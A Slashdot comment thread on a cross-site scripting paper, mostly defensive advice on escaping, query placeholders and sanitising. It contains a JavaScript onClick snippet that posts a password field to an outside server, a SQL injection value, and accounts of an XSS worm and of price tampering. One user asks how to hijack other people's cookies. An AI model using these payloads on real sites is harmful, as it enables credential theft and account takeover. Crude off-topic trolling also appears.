    http://www.phparch.com/sample.php?mid=16

    Enjoy

  13. Lethal !!! by Timesprout · · Score: 5, Funny

    Cross site scripting (XSS) flaws are a relatively common issue in web application security, but they are still extremely lethal

    You better believe it. Why only last week I had one of my web developers executed for writing code vunerable to a Cross Scripting Attack. I dont want any slackers on my team.

    PS I now have an opening for an experienced web developer. Sent resumes to spareme@icodetolive.com

    --
    Do not try to read the dupe, thats impossible. Instead, only try to realize the truth
    What truth?
    There is no dupe
    1. Re:Lethal !!! by cybermace5 · · Score: 2, Funny

      I hope you ran a virus scan on the developer before you executed him.

      --
      ...
    2. Re:Lethal !!! by Anonymous Coward · · Score: 0

      hahah

  14. I know you can do it, trolls! by Anonymous Coward · · Score: 0

    I have a hour long lunch break because it's Friday, so I'm desperately searching for some Jessica Lynch slash fiction. I don't care if it's patriotic "iraqi assrape" or the much more likely "West Virgina hillbilly hosemonster bivouaced in the desert for six weeks with eight black bucks". plz help!

  15. Speaking of cookies by swb · · Score: 1

    I'm trying to figure out how to use cookies from others computers on mine to acccess sites they use that have a "save my password" feature.

    Right now the copied cookie is ignored by the web site.

    1. Re:Speaking of cookies by Anonymous Coward · · Score: 2, Insightful

      You're probably copying the session ID in addition to the user ID and password. Session IDs are usually bound to a URL or small range of URLs, so submitting a stolen session ID invalidates the password.

  16. Asp.NET 1.1 and XSS by palad1 · · Score: 3, Interesting

    Asp.Net protects users from XSS by default since version 1.1 by parsing the parameters of a page and looking for javascript/html code in the query.
    Of course I was bitten by this feature when upgrading from 1.0 to 1.1, but that's just because I didn't bother reading the readme.txt :)
    Automatic protection bundled with any application server is good, especially if you can turn it off [you can in asp.net , validateRequest=false et voila].

    1. Re:Asp.NET 1.1 and XSS by Anonymous Coward · · Score: 0

      It does more that check the query string. It checks all form elements, whether sent using GET or POST, as well as cookies, etc.

      Incidentally, Microsoft has good articles on this topic:

      http://msdn.microsoft.com/library/default.asp?ur l= /library/en-us/vbcon/html/vbconBestSecurityPractic esForWebApplications.asp

      http://msdn.microsoft.com/library/default.asp?ur l= /library/en-us/dnnetsec/html/threatcounter.asp

    2. Re:Asp.NET 1.1 and XSS by Anonymous Coward · · Score: 0

      That happened to me today, when I had to send some encrypted text via the get method (Don't ask). I even used urlencoding, but it still caught it with this feature, and it responded with "potentially dangerous insertion".

    3. Re:Asp.NET 1.1 and XSS by arcanumas · · Score: 1

      Ah that explains it. I was toying around with a forum that i use and found out that they check for Javascript (or any script ,.but at the same time they permit HTML including frames,forms etc. so you can use iframe to do your dirty work.
      I was amazed that they would get into trouble to check for scripts and yet permit all this stuff.
      If ASP does it for them then it explains a lot. :)
      It means they are plain idiots and not twisted idiots.

      --
      Slashdot Sig. version 0.1alpha. Use at your own risk.
  17. Nobody 'axed' me but... by LifesABeach · · Score: 0

    this almost looks like a variation of a doss attack. in the sense that a set of clients repeatedly communicates to the 'attack site'.

    one could do this by creating a simple thread that constantly loops and sending the same request over and over again. both client, and server would then shut down. this is also traceable from the server's request loggin software. an administrator that gets the same request more than lets say, 5 times? should label that i.p. address as 'hostile'. and ignore it for lets say 12 months? i say this because some sites use 3 monthes as a rule. on request 5, send back a reply that says 'give us a call'. because sometimes, users 'just don't get it'.

  18. another cross site script problem... by AmigaAvenger · · Score: 1

    This site found out about the lesser known cross site script problem, the a href= tag, in particular, the a href tag that happens to be posted on slashdot! another victim to the effect.

  19. A few techniques used and more by iceco2 · · Score: 3, Interesting

    The generall tecnhique described above is with
    volnerable scripts which display text which came
    from URL encoded data, This is one of many methods
    to display the attackers HTML in an unsuspecting
    users browser.
    It is very common for the 404 message on a website to contain the URL which was entered, In the past this was done mostly by copying it as is. This would allow an attack.

    In order to hide the attack hex encoding is used in the URL so the victim would not notice the script in the URL.

    Still the attacker needs to minimize the length of the URL this causes him to use HTML options
    such as iframe in order to insert a lot of HTML
    taken from a diffrent site.

    The main point of intrest is that the page appears to be comming from the (probably trusted) server, this can convince the user to do stuff he may not do on the attackers web site, say for example enter credit card info.

    Also one could collect cookies this way, the cookies are likely to contain passwords or equivelent informations for sites with user login.

    In some forums a user can put scripts in his signature or profile, this allows similar results,
    but with out sending funny URLs.

    DO NOT TRUST USER INPUT, it may harm not only you
    but also the user, they must be protected.

    Me.

    1. Re:A few techniques used and more by Anonymous Coward · · Score: 0
      This has to be the first story I've responded to where I have hands on experience. I work security for a (mildly)popular online community/game. The single most serious vunerability that I found was an XSS. All players have a personal profile viewable by the other players of the game. I managed to insert a along with some supporting HTML into the page (one of the fields was not properly checked for offending code). To make an already long story short, anyone who viewed my profile, executed my script which promptly did the following:
      1. Change their password to "Hello There"
      2. Clear their email
      3. Sent me a message containing their username (for me to use later).
      4. Inserted a copy of itself into the profile page of the the user
      5. Thus, this vunerability (if I ever distributed the non-crippled version of it) would have spread virally through the network taking down large numbers of accounts. XSS is not to be underestimated. P.S. I think that the site is now almost entirely secure against XSS, not only due we scan for dangerous symbols, but we also HTML code other key symbols in our system. Finally, all URLs contain a session/user specific cryptographic hash, so to successfully execute an XSS, you'd need to either predict it (impossible) or grab it off of the site using XSS (quite difficult).
    2. Re:A few techniques used and more by Anonymous Coward · · Score: 0
      This has to be the first story I've responded to where I have hands on experience. I work security for a (mildly)popular online community/game. The single most serious vunerability that I found was an XSS. All players have a personal profile viewable by the other players of the game. I managed to insert a along with some supporting HTML into the page (one of the fields was not properly checked for offending code). To make an already long story short, anyone who viewed my profile, executed my script which promptly did the following:
      1. Change their password to "Hello There"
      2. Clear their email
      3. Sent me a message containing their username (for me to use later).
      4. Inserted a copy of itself into the profile page of the the user.

      Thus, this vunerability (if I ever distributed the non-crippled version of it) would have spread virally through the network taking down large numbers of accounts. XSS is not to be underestimated.

      P.S. I think that the site is now almost entirely secure against XSS, not only due we scan for dangerous symbols, but we also HTML code other key symbols in our system. Finally, all URLs contain a session/user specific cryptographic hash, so to successfully execute an XSS, you'd need to either predict it (impossible) or grab it off of the site using XSS (quite difficult)

      P.P.S. Sorry about the double post, I hit submit by mistake, this has just been reformatted correctly.

    3. Re:A few techniques used and more by Anonymous Coward · · Score: 0

      So you hacked your own site in order to secure it? You're quite the pro. How many accounts did you compromise?

  20. Depends on your definition of "boring" by ThatDarnHCIGuy · · Score: 1
    Cross-site scripting and other attacks based on unescaped input are actually pretty much like executing arbitary code using a buffer overflow. You can hijack sessions (get elevated privileges) and cause limited denial of service, just to mention a few possibilities.

    I think it would be possible to design a self-propagating exploit, that would "infect" user sessions and then use those sessions to "infect" more vulnerable pages, which leads to more infected sessions, and so on. If the attack script was be compatible with the browser the site administrator is running, you would gain root access at some point.

    1. Re:Depends on your definition of "boring" by stevey · · Score: 1

      This actually happened on Advogato.

      There was a lack of filtering on one of the sites variables and a crafty user created a "virus" that spread from profile to profile.

      If you viewed an infected page when logged in your own profile was updated to contain a copy of the infectuous code.

      Full details here.

  21. Hands-on experience by ThatDarnHCIGuy · · Score: 1

    In a week we'll see their new paper, The Anatomy of Distributed Denial of Service.

    1. Re:Hands-on experience by Anml4ixoye · · Score: 1

      The sad thing is that they already have the paper written (based on the quality of this one), it will just take them that long to get their server back online.

  22. How to prevent cross-site scripting attacks by jd · · Score: 1
    1. Don't allow any control structures whatsoever to be added to a web page.
    2. Go back to 1.


    Seriously, the only problem is that of control structures. Most tags don't change the flow, or make data modifications, they'll simply set the style (eg: the bold and italic tags) or inject characters (eg: the paragraph tag).


    However, if you want to be safe, simply don't allow any HTML in a page, and require users to format in TeX.

    --
    It's a small world and it smells funny; I'd buy another if it wasn't for the money; Take back what I paid (SoM)
    1. Re:How to prevent cross-site scripting attacks by sean.peters · · Score: 1
      However, if you want to be safe, simply don't allow any HTML in a page, and require users to format in TeX

      Right. Both of your users will be able to figure that out. Or did you mean to say "If you really want to make it impossible for 99.99% of the population to post to your website, make them format it in TeX".

      Sean

  23. Just like (good) firewalls: by autechre · · Score: 1

    "That which is not explicitly permitted is denied." That is, whitelists rather than blacklists.

    Of course, you should also familiarize yourself with the mechanisms your language of choice has to help defend against such attacks. In PHP, this means register_globals = off, and there are also freely available input validation functions designed with XSS in mind.

    I like to maks sure that as many of my forms use POST as possible, and include code at the top to halt processing if anyone attempts to pass a PHP page more GET arguments than it is supposed to have (ideally zero, but sometimes GET is useful.)

    --
    WMBC freeform/independent online radio.
    1. Re:Just like (good) firewalls: by jupo · · Score: 1

      Using POST rather than GET does not address XSS in any way at all. POST values can be sent as easily as putting GET values into a query string.

      The issue is addressed by simply parsing any user input that's sent back to the browser. This parsing can be as simple as replacing HTML brackets <> with entity codes &lt;&gt;

      This is as basic as web development 101 gets. Any site that falls vicitm to XSS does so due to sloppy coding at its best, and rightly deserves to be compromised!

      --
      Me I'm a maker, mostly of axioms.
    2. Re:Just like (good) firewalls: by autechre · · Score: 1


      I don't see how you can trick someone into clicking on a URL that sends POST values using their Web browser. You could send it using something like netcat, sure. Just because something doesn't completely eliminate the problem doesn't mean it does nothing at all.

      Also, you can't just rely on replacing HTML brackets, especially if you're using any sort of SQL database (or any database, really). Even if you're not, your scripts could be tricked into revealing the contents of files.

      --
      WMBC freeform/independent online radio.
    3. Re:Just like (good) firewalls: by jupo · · Score: 1

      An HTML form using POST can be submitted with a hyperlink.

      And you're right, it's not just brackets that need replacing, quotes should be replaced too. This massive set of 3 characters are all that defines the bulk of HTML.

      However, the issue with XSS is formatting user input that is sent back to the browser.

      Obviously user input must be parsed for insertion into SQL queries, but this is not an XSS issue.

      As for code being tricked by user input, I've never heard of anyone actually writing code that attempts to evaluate and execute user input as code on the server, that would be ridiculous.

      --
      Me I'm a maker, mostly of axioms.
    4. Re:Just like (good) firewalls: by Anml4ixoye · · Score: 1

      Really?

      <a href="mylink.html" onClick="javascript:document.forms.length++;
      theForm=document.forms[document.forms.length-1];
      theForm.action='http://myserver.com';
      theForm.elements.length=1;
      theForm.elements[0].name='password';
      theForm.elements[0].value='yourpw';
      theForm.elements[0].type='text';
      theForm.submit();">

    5. Re:Just like (good) firewalls: by Anonymous Coward · · Score: 0

      > it's not just brackets that need replacing, quotes should be replaced too

      And ampersands. (Information wants to be Wide.)

  24. This happened to me. by aaron_ds · · Score: 1

    I've been working on a personal website for the last month and a half, and had this happen. Not to any degree of maliciousness, but it did screw with PHP.

    My expirence with XSS was due to my lazy programming. I didn't filter user content before it was displayed. Someone posted guestbook content with malformed PHP commands. Luckly they didn't know PHP that well, and an error was returned.

    As far as PHP goes, functions like str_replace(), and striptags() should be used to parse all user-inputed data before it is displayed. I'm sure other serverside scripting languages have similar functions.

    1. Re:This happened to me. by samjam · · Score: 1
      As far as PHP goes, functions like str_replace(), and striptags() should be used to parse all user-inputed data before it is displayed. I'm sure other serverside scripting languages have similar functions.


      But its also possible to use str_replace and striptags in ways that DON'T protect from malformed user input and how are you to know the difference?

      Cavalier input processing is another curse of the internet, like email validators that think a-z0-9. are all the characters allowed in an email address, or that complain because my phone number doesn't have any ( ) or has too many characters.

      Joe Bloggs

      is a valid RFC822 email address, yeah strip tags if you want!

      striptags has has a purpose, and thats if you want to strip tags. It wont protect from sql injection, and if the input text isn't actually tagged as such....???

      Sam
    2. Re:This happened to me. by aaron_ds · · Score: 1

      But its also possible to use str_replace and striptags in ways that DON'T protect from malformed user input and how are you to know the difference?

      Part of good programming is accounting for all possibilites in a section of code. YES, it is possible to use str_replace and strip_tags in nonprotective ways, BUT they can also be used to protect. It's not what the tool does, it's how it is used.

    3. Re:This happened to me. by samjam · · Score: 1

      Thats my point.

      Some folk have seen a form of str_replace that supposedly gave some form of protection against some kind of XSS and then invoke it in all kinds of unsuitable situations expecting to get the benefits.

      The poster said all user input should be parsed with str_replace and striptags - true enough, but the protection is knowing and parsing for the right things, not what you use to parse it.

      You're not "OK" because you use str_replace, only if you use str_replace in a way that protects you.

  25. Perl CGI coders by Hecubas · · Score: 2, Interesting

    Take note of escapeHTML() in the CGI module. Use that on the form input that you save into a database, and that should cut down on most of the XSS problem. It's quite humiliating for a webmaster to have a guestbook get trashed by a load of img tags and evil links to offending sites (although I see a lot of Slashdotters abusing the the URL feature this way).

    --
    hecubas

    --
    Hecubas
    1. Re:Perl CGI coders by samjam · · Score: 1

      Why don't you use escapeHTML() on the data that you take out of the database to display, or do you really want a database full of html that makes it harder to search and match on or use for anything else apart from a web page.

      Sam

    2. Re:Perl CGI coders by Hecubas · · Score: 1

      Well, there are such things as SQL injection attacks you'll want to avoid. I'd rather play on the safe side and clean any input as soon as I can before it gets stored. Also, you never know if the the next developer after you is going to have enough sense to escape on output. Besides, most search engines index on words, not special characters. In the case of gathering input for things like name and address, you'll want to take the filtering a step futher and completely remove html elements. I'd hate to have a potential javascript exploit stored in a database waiting to get called up.

      Another thing to do when gathering user input, you'll want to truncate the data at logical limits before you attempt to put it into your database. I.e. truncate the subject in a message to 80 characters. Start thinking in fixed length strings instead of letting the scripting engine get smacked with buffer overflows.

      --
      Hecubas
  26. I remember in the early days of the Web... by Diplo · · Score: 2, Interesting

    Going back a good few years I remember finding one of the first sites to allow online shopping. Unbelievable as it might now seem they actually passed the id and the PRICE of the item you were attempting to purchase via the GET method in a query string! I remember having fun changing all the prices to negative numbers, and seeing the total come to around - $1,000,000. Of course I never had the balls to enter my credit card number and see if they would bill it for a negative amount :)

    1. Re:I remember in the early days of the Web... by Lehk228 · · Score: 1

      I highly doubt it, I am sure that when placing an order all that is sent is your personal info and a list of item#s to be purchased

      --
      Snowden and Manning are heroes.
    2. Re:I remember in the early days of the Web... by CognitiveFusion · · Score: 1

      Don't doubt it. This kind of crap is still out there today.

      I was adding a new module to an ASP shopping cart a few years back and found it was calculating the grand total to display on the confirmation page. Instead of recalculating the value when submitting the credit card, they passed the value from the confirmation page via a hidden input field directly to the CC processor.

      The company was grateful enough when I pointed out the problem I had fixed that they gave me a $200 gift certificate.

      --
      Fools ignore complexity; pragmatists suffer it; experts avoid it; geniuses remove it. ~A. Perlis
    3. Re:I remember in the early days of the Web... by Anonymous Coward · · Score: 0

      When I tried to write a shopping cart, I used a php session variable containing an array. The array was read directly from _SESSION to ensure it could not be tricked by means of a GET or POST request. The index was the item number, and the value was the quantity of that item in the cart. The cart script took just three parameters: an instruction code {empty, add item, remove item}, an item number {except for 'empty'}, and the quantity to add or remove. These were transmitted using a GET. If a query string was seen, a few selected GET variables would be transferred into session variables and the page refreshed without the query string. I did some sanity-checking to make certain that the "item number" {which would have to be used in an SQL query when looking up the description and price of each item} had the right number of digits in it and no characters that would mean something special to MySQL. The "number to add/remove" would be evaluated in an integer context, and the instruction would be presumed scalar and compared with specific strings.

      I think this part was fairly secure. The juicy stuff with the card numbers and so forth was done on a proper SSL server, and amounts of money were never taken from the client. I think the worst an attacker would be able to achieve would be to alter someone else's shopping cart by sending a bogus session-ID cookie, but that probably would only work if they were connected through the same proxy server {so the IP addresses would match}, and the victim would see the extra item{s} as soon as they refreshed the cart.

      However, I'm posting this an anonymous coward just in case it isn't as secure as I thought.

  27. The Anatomy of Cross Site Slashdotting by Anonymous Coward · · Score: 0

    Anonymous Coward writes "Many websites discuss the actual insertion of a link to their site into Slashdot's homepage, but stop short of explaining the full ramifications of what can be done with a successful XS/. attack. While this is adequate for prevention, the exact impact of cross site scripting slashdotting has not been fully appreciated. This paper will explore those possibilities."

  28. I don't understand by tundog · · Score: 1

    Can someone explain to me how this isn't like shooting yourself in the foot? Isn't the intent to harm a server with a client-injected script? I keep reading it and it seems like the point is to harm a client with a script submitted by a client - that is - yourself???

    --
    All your base are belong to us!
    1. Re:I don't understand by ThatDarnHCIGuy · · Score: 1
      You of course design the attack script in such a way that it doesn't hurt you. Some examples of what you can do with cross-site scripting:

      Stealing user credentials, for identity theft, gaining administrator access etc.
      Modifying transactions performed on the site
      Inserting false information

      And the list goes on. Cross-site scripting attacks very often take advantage of browser security holes, but even with a 100% secure browser but less-than-perfect script, some types of attacks are still possible.

    2. Re:I don't understand by Carnildo · · Score: 1

      If you inject the script into something that saves data across sessions (like a guestbook or forum), you'll hit yourself -- and everyone else who views the page!

      --
      "They redundantly repeated themselves over and over again incessantly without end ad infinitum" -- ibid.
    3. Re:I don't understand by WNight · · Score: 1

      You have a popular page, and it links to something people want. What they don't realize is that your link to that page changes the page, so they really are at ebay.com, but using content from your site so when they go to login, you get their password instead.

      Or, make a link to a really good deal at amazon.com, and grab their credit cards.

      Of course, ebay and Amazon are probably not that stupid, but many smaller sites are. (Banks maybe?)

  29. Oh, these guys don't know the half of it... by pegr · · Score: 1

    If you want to learn about cross-site scripting attacks, just click here!

  30. Cross Site Scripting by maroberts · · Score: 1

    You should never design your website when angry. Wait till you calm down, or you'll make mistakes. Cool, Calm Site Scripting (CCSS) is much better.

    --

    Donte Alistair Anderson Roberts - hi son!
    Karma: Chameleon

  31. The Cross Site Scriptiong FAQ by Anonymous Coward · · Score: 0
  32. The old VeriSign's ad campaign with naked women by Pan+T.+Hose · · Score: 1

    This article somehow reminds me about the old VeriSign's ad campaign with naked women by which I was outrageously offended once.

    Seriously, there was a huge cross site scripting vulnerability in Omniture's "award-winning web analytics solution for large, complex sites" (too complex for them, I guess) which was included in the famous VeriSign's Site Finder we all loved so much. It's not that VeriSign handles any sensitive data, fortunately...

    (My link doesn't work any more, but the comment is still +5, Funny. :-P)

    --
    Sincerely,
    Pan Tarhei Hosé, PhD.
    "Homo sum et cogito ergo odi profanum vulgus et libido."
    1. Re:The old VeriSign's ad campaign with naked women by Anonymous Coward · · Score: 0

      Haha. In Mozilla the tab shows up with the title "Omniture...The leading provider of web anal..."

  33. I learnt this lesson a long time ago. by Marak · · Score: 5, Insightful

    In high school for economics class we got to play a mock stock martket game (on the web). Well my stock market team consisted of myself and another CS student.

    On the website you would enter in the amount of stock, stock symbol, and BUY or SELL in a form. That form would POST to a confirmation page and from there you would click "TRADE" and it would post to some server side page to execute the trade. The fools that designed the site thought it would be a good idea to validate all the data on the confirmation page and NOT on the server side page. We created a local version of the initial confirmation page, changed the action of the form to "http://www.tradingsite.com/cgi-bin/trade.pl". We then proceeded to buy -100000 shares of MSFT for about 40 bucks a pop.
    The server had a formula of something like:

    (STOCKPRICE * SHARES) + COMMISION = SUM
    The sum was then checked against your accounts cash balance.
    Something like:
    IF (SUM > CASHBALANCE)
    ERROR;
    ELSE
    EXECUTE TRADE;

    Well we had a big negative number for our SUM so it passed.

    The server then procceeded to:
    CASHBALANCE = CASHBALANCE - SUM

    Well anyone who has taken 5th grade math knows what happens when you subtract a negative number.
    To make a long story short....we come into school about 2 weeks later and there is a big list of all the teams playing the stock market game in NY state. Our team is number 1 by about 2 million bucks, 2nd place is at about 105k. We confessed to whole the thing explained to the site what they did wrong and didn't get in any trouble.

    The morale of this story:

    Validate all user input before you perform ANY actions with it.

  34. The most dangerous web problem out there by cluge · · Score: 2, Funny

    Slashdot - you provide some good security information and the next thing you know - 2.5 million hits later your server is a puddle of smoldering silicon and smells really bad. XSS isn't anything compared to the damage that slashdot's attention can get you.

    Our next paper - how to survive a slashdotting.

    --
    "Science is about ego as much as it is about discovery and truth " - I said it, so sue me.
  35. Re:h3110 by Anonymous Coward · · Score: 0

    I'm a pint and three quarters .....

    So I guess that makes me 1337er.

  36. Re:MOD PARENT UP by Anonymous Coward · · Score: 0

    amen; that kid's fucking annoying. "OOOOOOOOOOH LOOK AT ME XSS VULN IN somesitenobodycaresabout.com NOW PLZ TO GIVE LEET SECURITY JOB THX." took me a solid 2 days to killfile that little shit.

  37. Its news to you by samjam · · Score: 4, Informative
    HTML encode EVERYTHING the user sends to you


    *cough*

    Its this kind of lack of understanding that makes the problem so prevelant.

    First it doesn't make sense to htmlencode everything just as id doesn't make sense to addslashes everything (now turned off by default in all good php configurations).

    Here's why: Not everything that comes in is to be displayed as html, just as not everything that comes in is destined for the database.

    Unless you understand the risks, you can't guard against them though it appears some people are still able to be certain they have guarded against them.

    If you do this,

    sqlquery("select * from user where username='$user'") then you need to think what the problem is, its a well defined problem, it is that $user may contain a final ' mark and then some; maybe:
    $user="jimjoe' or 1'"

    so your preferences page now shows the first user in the db, or depending on your web page, all of them.

    In php, htmlentities doesn't encode the '

    If you are invoking system commands (and yes I one had to do a LOT of this from php) then be careful about shell meta characters like ` ' " and $ in certain cases.

    The principle is that you need to make sure the system you are passing data on to interprets it in the literal sense that you require and you cannot do this unless you understand completely how each of the systems you will pass the data on to really does interpret data.

    So if your user data is destined for the database, then escape it, something like:

    sqlquery(sprintf("select * from user where username='%s'",addslashes($user)));
    (yes there are other better was of doing it)

    If you want to display on the web page inline:
    echo htmlentities($user);
    on the other hand if you want to display in an text area I think there is other encoding to use. If it is for a url you need to urlencode and htmlentities but I forget the order.

    Understand the system you are communicating with.

    Sam
    1. Re:Its news to you by Anonymous Coward · · Score: 0

      ^ See subject.

      Understand the system you are communicating with.

    2. Re:Its news to you by pod · · Score: 1
      sqlquery("select * from user where username='$user'")

      Which is why you should be using bound variables or placeholders in the first place:

      sqlquery("select * from user where username=?", $user)

      The db library should do the right thing. It will even take care of stuff like VARCHAR vs NUMBER. No need to remember to quote or escape.

      As an aside, you should never do 'SELECT *', because it's ALWAYS overkill. For example, in the above query you don't have to retrieve 'username' as you obviously already have it. You'll rarely need ALL the fields from your tables. It's just sloppy, and grossly inefficient if you're getting TEXT or BLOB fields that you won't use. Also, you're guaranteed to receive your variables in a known order when you explicitely specify all the columns, so you can get an additional speed gain by using subscripted arrays as opposed to hashes for your record sets. I fucking hate it when people do a 'SELECT *' and then use an array to access the results, as you always have to refer to the db schema and must be super careful when changing it.

      --
      "Hot lesbian witches! It's fucking genius!"
    3. Re:Its news to you by 1110110001 · · Score: 1

      In php, htmlentities doesn't encode the '

      With ENT_QUOTES it does escape both. Take a look in http://php.net/htmlentities - that's unterstanding the system you use .... Same with htmlspecialchars().

      addslashes() isn't that great if you plan to use an other DBMS in the future. For everything bigger than a hack ADODb is a good choices, which offers the method qstr() - http://php.weblogs.com/ADODB

      b4n

  38. I'm probably the only person on /. to say this... by Brightest+Light · · Score: 0

    but thanks for saving me $8. what a shitty ending.

  39. Paper mirror by Anonymous Coward · · Score: 1, Informative
    1. Re:Paper mirror by Anonymous Coward · · Score: 0

      Z, i know that is j00 :P

      m

  40. Know of a sanitizing script in PHP? by adamfranco · · Score: 1

    I'm developing a GPLed PHP application and was just wondering if anyone knew of an html sanititizing script that would allow for the input of a list of allowed tags.

    I need something with a GPL-compatible license.

    I guess I could just re-write Brad Choates's Sanitize Plugin in PHP, but it would be nice to not have to go through the trouble. :-)

    --
    "When ideology and theology couple, their offspring are not always bad but they are always blind." -- Bill Moyers
    1. Re:Know of a sanitizing script in PHP? by Anonymous Coward · · Score: 0
      You could always try mine (kses).

      // Ulf Harnhammar

    2. Re:Know of a sanitizing script in PHP? by ajs318 · · Score: 3, Informative
      You need to do something like this. Use preg_replace to change all mustang signs to &lt; and &gt; sequences. But that's overzealous - you need to un-mung sequences that look like HTML tags you regard as innocuous. Now you have to define an array for allowed HTML tags, indexed by their "munged" form, like this:
      $allowed_tags = array('&lt;B&gt;' => '<B>',
      '&lt;/B&gt;' => '</B>',
      &c.);
      Do a foreach ($allowed_tags as $i=>$j), and str_replace {it's supposedly quicker than preg_replace} each occurrence of the index $i with the value $j. Only permitted HTML tags will remain. You can even do a second foreach further down the page to list the permitted tags {since they're already HTML-escaped you can just display the indexes and the reader will see it rendered to look like a HTML tag}.

      If you want to allow <A> or <IMG> tags, you should use preg_match expressions for elementary sanity checking.
      --
      Je fume. Tu fumes. Nous fûmes!
    3. Re:Know of a sanitizing script in PHP? by 68kmac · · Score: 1
      Have a look at kses. It allows very flexible filtering, even letting you define max. length for attributes, checks for missing close tags etc.

      bye, Dirk

    4. Re:Know of a sanitizing script in PHP? by elemental23 · · Score: 1
      strip_tags() is probably a good place to start. It does exactly what you're asking for.

      Say you want to strip everything but bold and italic tags from some text:
      $foo = strip_tags($foo, "<i>, <b>");
      This by itself isn't sufficient to prevent XSS problems, but it's a start. Read over the user contributed notes on that page for some more good tips and example code.
      --
      I like my women like my coffee... pale and bitter.
  41. Clarifications by unfortunateson · · Score: 2, Interesting

    I always type too fast and leave important things out, so here's a little more:

    1) I meant "HTML Encode anything that will end up in HTML output again."

    2) I didn't bother talking about SQL insertion, that's a different gremlin from XSS.

    3) I didn't implement the things I said were stupid to do... I avoided them for that particular reason. I'm saying that there are traps to avoid, such as evaluating the contents of inputted variables. Some ways of implementing template toolkits will have you build a large string to create a page, and use variable substitution on that by eval-ing it at run time. If you concatenate user text before the eval, bad things could happen.

    --
    Design for Use, not Construction!
  42. Cross Country == XC by PickyH3D · · Score: 1

    Enough said? And Cascading Style Sheets...

  43. Re:Apple's worse than Microsoft by Anonymous Coward · · Score: 0

    Where do you think the new improved networking stuff in XP came from? *cough* FreeBSD! *cough*
    There is a conspiracy theory that it was Microsoft that bought the repeal of the infamous advertising clause - otherwise they would have had to put a public admission on every XP box that they had lifted other people's code.

  44. MOD PARENT UP by spilich · · Score: 0, Offtopic

    mod parent up

  45. Re:The Anatomy Of A Staged War +1, Superpatiotic by PickyH3D · · Score: 1
    I love how Saddam didn't offer this up on TV? Maybe because it's bs?

    Oh, I forgot you wouldn't want to hear the common sense reasoning.

  46. no html either... by Anonymous Coward · · Score: 0

    It doesn't allow html either... so that probably wasn't ASP.NET

  47. Perl has taint mode, which flags iffy input!-)) by xeo_at_thermopylae · · Score: 1
    A quote from an article about Perl's taint mode:

    "Perl contains a set of built-in security checks know as taint mode. These checks protect you by insuring that tainted data that comes from somewhere outside your program is not used directly or indirectly to alter files, processes, or directories. "

    What? PHP has no taint mode?-P